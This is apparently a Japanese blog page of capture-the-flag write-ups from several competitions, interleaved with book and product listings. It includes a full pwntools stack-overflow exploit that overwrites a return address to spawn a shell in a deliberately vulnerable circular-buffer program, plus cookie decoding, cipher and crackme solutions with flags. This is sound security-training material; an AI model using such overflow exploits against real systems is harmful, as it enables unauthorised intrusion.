RUNNING IN CIRCLES

BINARY, 50

Our data input program was vulnerable to overflows, so we fixed that by implementing a circular buffer. Now it should be totally secure! See if you can prove us wrong and get the flag on our shell sever. The problem is available as: binary and source.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

/* I should probably get rid of this... */

void give_shell()

{

gid_t gid = getegid();

setresgid(gid, gid, gid);

system("/bin/sh -i");

}

int main(int argc, char **argv)

{

char buffer[256];

int pos = 0;

printf("Welcome to the circular buffer manager:\n\n");

while(1)

{

int len;

printf("How many bytes? "); fflush(stdout);

scanf("%u", &len);

fgets(buffer, 2, stdin);

if (len == 0) break;

printf("Enter your data: "); fflush(stdout);

if (len < 256 - pos)

{

fgets(&buffer[pos], len, stdin);

pos += len;

}

else

{

fgets(&buffer[pos], 256 - pos, stdin);

len -= (256 - pos);

pos = 0;

fgets(&buffer[0], len, stdin);

pos += len;

}

printf("\n");

}

return 0;

}

最初にバイト数を入力します。256以上を入力した場合、1つ目のfgetsで256バイト読み込み、2つ目で残りを読み込むため、スタックオーバーフローを起こすことができそうです。main関数からの戻りアドレスを書き換えて、シェルを呼び出します。
main関数に入ったとき、スタックは次のような状態になっています。

次のような感じでデータをセットしたいと思います。

下記のようなPythonコードを書きます。

#! /usr/bin/python

from pwn import *

import time

import argparse

parser = argparse.ArgumentParser()

parser.add_argument('--local', action='store_true')

args = parser.parse_args()

context.log_level = 'debug'

if args.local:

    p = process('./run_circles')

    cmd =  'cat ./flag.txt'

else:

    shell = ssh(host='shell.angstromctf.com', user='teamxxxxxx', password='zzzzzzzzzzzz')

    p = shell.run('/problems/running_in_circles/run_circles')

    cmd =  'cat /problems/running_in_circles/flag.txt'

p.recvuntil('How many bytes?')

p.sendline('544')

p.recvuntil('Enter your data:')

p.sendline(

    ''

    + 'A' * (256 - 1)

    + 'B' * 256

    + 'C' * 24

    + p64(0x400806) #give_shell

    )
p.recvuntil('How many bytes?')
p.sendline('0')
p.sendline(cmd)

p.sendline('exit')

p.recvall()

(略)
[DEBUG] Received 0x2b bytes:

    'actf{you_dont_just_go_around_a_circle_once}'
(略) 

actf{you_dont_just_go_around_a_circle_once}

です。

stackoverflowの見方 [Kindle版]

中西伸吾

2014-12-03

KNOCK KNOCK

CRYPTO, 30

You have come across a strange audio recording. Can you recover the flag? Note: The flag is not in the actf{} format.

	1	2	3	4	5
1	a	b	c	d	e
2	f	g	h	i	j
3	l	m	n	o	p
4	q	r	s	t	u
5	v	w	x	y	z

2-3、1-5、3-1、3-5、3-2、1-5、3-5、3-1、1-5、1-1、4-3、1-5なので、この表に従って復号すると、
フラグは、

helpmeplease

です。

 

Knock Knock Who's There? [ペーパーバック]

Sally Grindley

Puffin

2010-10-26

 

Welcome

5

Ah, I see you are a man of culture as well!

Flag: flag{ctfftw}

flag{ctfftw}

実践サイバーセキュリティモニタリング [単行本]

八木 毅

コロナ社

2016-03-28

PwnPeAuto

10

We asked Jarvis to make our team's automobile section but Vision intervened and is disrupting the operation. Can you stop this civil war?

Challenge is at http://35.165.205.141:8002/

flag{Stup1dJ@rv!G@veM3Aw@y}

です。

Topfit　 カーキーケース　カーキーホルダー　ソフト　ピッタリ　耐衝撃　割れない　シンプル　おしゃれ　key case Tesla Model S （レッド）　プレゼント　車

Topfit

zipper

                                  

                                  

Huzzah, you have captured the flag:

PCTF{f0rens1cs_yay}               

                                  

                                  

                                  

PCTF{f0rens1cs_yay}

詳解 圧縮処理プログラミング [単行本]

昌達 慶仁

SBクリエイティブ

2010-10-26

sanity check

PCTF{poop}

Sanity Check (An Alan Llewellyn Novel Book 3) (English Edition) [Kindle版]

Walt Breede

Signalman Publishing

2013-01-08

Pykemon

.eJztV0tvm0oU_isVay94mLRYyoa0zGDFVMY1r6qqYIYLmAEjY2JD5P_eA24cB8v2vZKzie4O5szre8w5M89c4DNWciOBH3DEr6J4zY2euaJOw2yZc6Ofv3YDbrVcZm9bnzkalmSVFOuk_X_mPgXciLNQXJBanYb2Og5spdJRHMM_C5C1oHhcuCLjw5nQUKTUvi3nOlafqG0sPWcSBeIw8h2z0RH829aK1MMI5mNEnEeuo248W6t1bD7paMxcUVl7s-N5tTLAaeSKsF5GmfegptQZF0FGIgpz6EguPDHmdUyXvr1luqbKvqgtfDyPiLhlnqM2j9H9PQdY44IbDe8GXO5n4QHYHLOVCxul032nPCHpxQ5FQk9jP6ZiG1v5q2RdwyrAeFnA9-s0vi3Enmg1j9JhgxVBcs7tdoMzlIsxCxKV9xFr_sJat1QSkVWeNCl1xHiAz2hmAX1qTB2DgSR8UKsJyay4pecY-t2XU-i5J24Lgq3Mi87DP-nUo-A1vnCHxzTIl2nwRFr6jip4mXuFivk3Y27m6-8TbP5jaErjf9Wq0FIMA5Gt35g1wfwB5mexB9NMt6q5OQPvOHgMq2tvSH0M5wIa0Stdm1xDgRmcDfoEorZnaQHej90MPIuUTMfjTkiKQNxaLSg24Ay4kWfLvO-MWXcGMrDNXuANyZScZNpaRyYI_S1ybTnVkVVRZO3PHzJkF-YjEqwhzqsXdpThqQn2m7pggDcdeuLvY4uUP2ZKuiw8yVgOTr5OVwopZKW3_geIoW2VAVKk47MAHo_pg1p74P3AHpdtunFn6t9xSg0ppSDISl17ExG0jSlmG-pMDmZRpFM6usHnqDgEezR07d9_7Gd-oeHuiv-xBXrKG8hl97fxvqjczvu6fGPvw1mnMXi7L1YSYIs9PqgNaWtCxhatWBRpKUFK6c2G0cyZRj7SwATbrgaAz-VubOt5rEItKKMAsQ3Uldc8388Chw2cY6PfoSfwPtZM32SEL5cFhk1J_4Ka_yBwu-CtBI42txT4w1wQ3ul-cH_7-8EHYfxOeB_K3e3NKYfJedcx431JMuDKZRaBZME3q4CuZUtTiM3aswX2mKgaVPTqQEN3XWvHaQ1QycjDBiSYAo1KRSQzDnKzDGcq5BmDh6oP_cayjoQnmr3cCCZRKwtIDLQrQpBNq0vZrtvoOfoOwR51XbvxVX_jVuUydZCqeXd2rYx9FLfK8vu4dS78_4C4wQPi1-DlKfubLKscXrwCXPFW7Xr8bvcHqwDZuA.C-8epQ.AEM0acIhD0NV5MEhWxp8dw2AOUY

$ python

>>> import zlib

>>> import base64

>>> cookie_str = "eJztV0tvm0oU_isVay94mLRYyoa0zGDFVMY1r6qqYIYLmAEjY2JD5P_eA24cB8v2vZKzie4O5szre8w5M89c4DNWciOBH3DEr6J4zY2euaJOw2yZc6Ofv3YDbrVcZm9bnzkalmSVFOuk_X_mPgXciLNQXJBanYb2Og5spdJRHMM_C5C1oHhcuCLjw5nQUKTUvi3nOlafqG0sPWcSBeIw8h2z0RH829aK1MMI5mNEnEeuo248W6t1bD7paMxcUVl7s-N5tTLAaeSKsF5GmfegptQZF0FGIgpz6EguPDHmdUyXvr1luqbKvqgtfDyPiLhlnqM2j9H9PQdY44IbDe8GXO5n4QHYHLOVCxul032nPCHpxQ5FQk9jP6ZiG1v5q2RdwyrAeFnA9-s0vi3Enmg1j9JhgxVBcs7tdoMzlIsxCxKV9xFr_sJat1QSkVWeNCl1xHiAz2hmAX1qTB2DgSR8UKsJyay4pecY-t2XU-i5J24Lgq3Mi87DP-nUo-A1vnCHxzTIl2nwRFr6jip4mXuFivk3Y27m6-8TbP5jaErjf9Wq0FIMA5Gt35g1wfwB5mexB9NMt6q5OQPvOHgMq2tvSH0M5wIa0Stdm1xDgRmcDfoEorZnaQHej90MPIuUTMfjTkiKQNxaLSg24Ay4kWfLvO-MWXcGMrDNXuANyZScZNpaRyYI_S1ybTnVkVVRZO3PHzJkF-YjEqwhzqsXdpThqQn2m7pggDcdeuLvY4uUP2ZKuiw8yVgOTr5OVwopZKW3_geIoW2VAVKk47MAHo_pg1p74P3AHpdtunFn6t9xSg0ppSDISl17ExG0jSlmG-pMDmZRpFM6usHnqDgEezR07d9_7Gd-oeHuiv-xBXrKG8hl97fxvqjczvu6fGPvw1mnMXi7L1YSYIs9PqgNaWtCxhatWBRpKUFK6c2G0cyZRj7SwATbrgaAz-VubOt5rEItKKMAsQ3Uldc8388Chw2cY6PfoSfwPtZM32SEL5cFhk1J_4Ka_yBwu-CtBI42txT4w1wQ3ul-cH_7-8EHYfxOeB_K3e3NKYfJedcx431JMuDKZRaBZME3q4CuZUtTiM3aswX2mKgaVPTqQEN3XWvHaQ1QycjDBiSYAo1KRSQzDnKzDGcq5BmDh6oP_cayjoQnmr3cCCZRKwtIDLQrQpBNq0vZrtvoOfoOwR51XbvxVX_jVuUydZCqeXd2rYx9FLfK8vu4dS78_4C4wQPi1-DlKfubLKscXrwCXPFW7Xr8bvcHqwDZuA"

>>> zlib.decompress(base64.urlsafe_b64decode(cookie_str+b"="*(-len(cookie_str) % 4)))

(略)

            {

                "description": {

                    " b": "UENURntOMHRfNF9zaDFueV9NNGcxazRycH0="

                }, 

                "hp": 72, 

                "name": {

                    " b": "RkxBRw=="

                }, 

                "nickname": {

                    " b": "RkxBRw=="

                }, 

                "pid": {

                    " b": "RkxBRzcy"

                }, 

                "rarity": 0, 

                "sprite": {

                    " b": "aW1hZ2VzL2ZsYWcucG5n"

                }

            }, 

(略)

PCTF{N0t_4_sh1ny_M4g1k4rp}

Flask Web Development: Developing Web Applications With Python [ペーパーバック]

Miguel Grinberg

Oreilly & Associates Inc

2014-05-18

logarithms are hard

>python

Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AM

D64)] on win32

Type "help", "copyright", "credits" or "license" for more information.

>>> import math

>>> print(math.e**(1.000000001))

2.718281831177327

2.7191928

です。 

 

★TI-36X Pro Scientific Calculator [輸入品] [オフィス用品]

Texas Instruments

$ objdump -s -D 4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652

0000000000000770 <.text>:
 770: 53 push   %rbx
 771: be 51 00 00 00 mov    $0x51,%esi
 776: bf 01 00 00 00 mov    $0x1,%edi
 77b: e8 c8 ff ff ff callq  748 #calloc
 780: 48 8d 3d 42 07 00 00 lea    0x742(%rip),%rdi #enter code:
 787: 48 89 c3 mov    %rax,%rbx
 78a: e8 a1 ff ff ff callq  730 #puts
 78f: 48 8b 3d 8a 18 20 00 mov    0x20188a(%rip),%rdi #<stdout>
 796: e8 a5 ff ff ff callq  740 #fflush
 79b: 48 8b 15 86 18 20 00 mov    0x201886(%rip),%rdx #<stdin>
 7a2: be 50 00 00 00 mov    $0x50,%esi
 7a7: 48 89 df mov    %rbx,%rdi
 7aa: e8 79 ff ff ff callq  728 #fgets
 7af: 48 89 df mov    %rbx,%rdi
 7b2: e8 b5 04 00 00 callq  c6c #
 7b7: 48 8d 3d 17 07 00 00 lea    0x717(%rip),%rdi #sum is %ld
 7be: 48 89 c6 mov    %rax,%rsi
 7c1: 31 c0 xor    %eax,%eax
 7c3: e8 58 ff ff ff callq  720 #printf
 7c8: 31 c0 xor    %eax,%eax
 7ca: 5b pop    %rbx
 7cb: c3 retq

 c6c: 55                   push   %rbp

 c6d: 53                   push   %rbx

 c6e: 48 89 fd             mov    %rdi,%rbp

 c71: 48 83 ec 08           sub    $0x8,%rsp

 c75: 48 0f be 3f           movsbq (%rdi),%rdi

 c79: e8 bd fc ff ff       callq  93b

 c7e: 48 0f be 7d 01       movsbq 0x1(%rbp),%rdi

 c83: 48 c1 f8 03           sar    $0x3,%rax

 c87: 48 89 c3             mov    %rax,%rbx

 c8a: e8 c6 fc ff ff       callq  955

 c8f: 48 0f be 7d 02       movsbq 0x2(%rbp),%rdi

 c94: 48 01 c3             add    %rax,%rbx

 c97: 48 c1 fb 03           sar    $0x3,%rbx

 c9b: e8 d1 fc ff ff       callq  971

 (略)

 93b: 48 83 ff 79           cmp    $0x79,%rdi #y

 93f: 74 0e                 je     94f <_init+0x257>

 941: 48 83 ec 08           sub    $0x8,%rsp

 945: bf 01 00 00 00       mov    $0x1,%edi

 94a: e8 09 fe ff ff       callq  758 <_init+0x60> #exit

 94f: b8 a7 00 00 00       mov    $0xa7,%eax

 954: c3                   retq   

 955: 48 83 ff 65           cmp    $0x65,%rdi #e

 959: 74 0e                 je     969 <_init+0x271>

 95b: 48 83 ec 08           sub    $0x8,%rsp

 95f: bf 02 00 00 00       mov    $0x2,%edi

 964: e8 ef fd ff ff       callq  758 <_init+0x60> #exit

 969: 48 c7 c0 9b ff ff ff mov    $0xffffffffffffff9b,%rax

 970: c3                   retq   

 971: 48 83 ff 73           cmp    $0x73,%rdi #s

 975: 74 0e                 je     985 <_init+0x28d>

 977: 48 83 ec 08           sub    $0x8,%rsp

 97b: bf 03 00 00 00       mov    $0x3,%edi

 980: e8 d3 fd ff ff       callq  758 <_init+0x60> #exit

 985: b8 a0 00 00 00       mov    $0xa0,%eax

 98a: c3                   retq   

yes and his hands shook with ex

$ nc crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me 10001

send your solution as base64, followed by a newline

$ echo yes and his hands shook with ex | base64

eWVzIGFuZCBoaXMgaGFuZHMgc2hvb2sgd2l0aCBleAo=

The flag is: important videos best playlist Wigeekuk8

important videos best playlist Wigeekuk8

プログラマのためのDocker教科書 インフラの基礎知識&コードによる環境構築の自動化 [大型本]

阿佐 志保

翔泳社

2015-11-20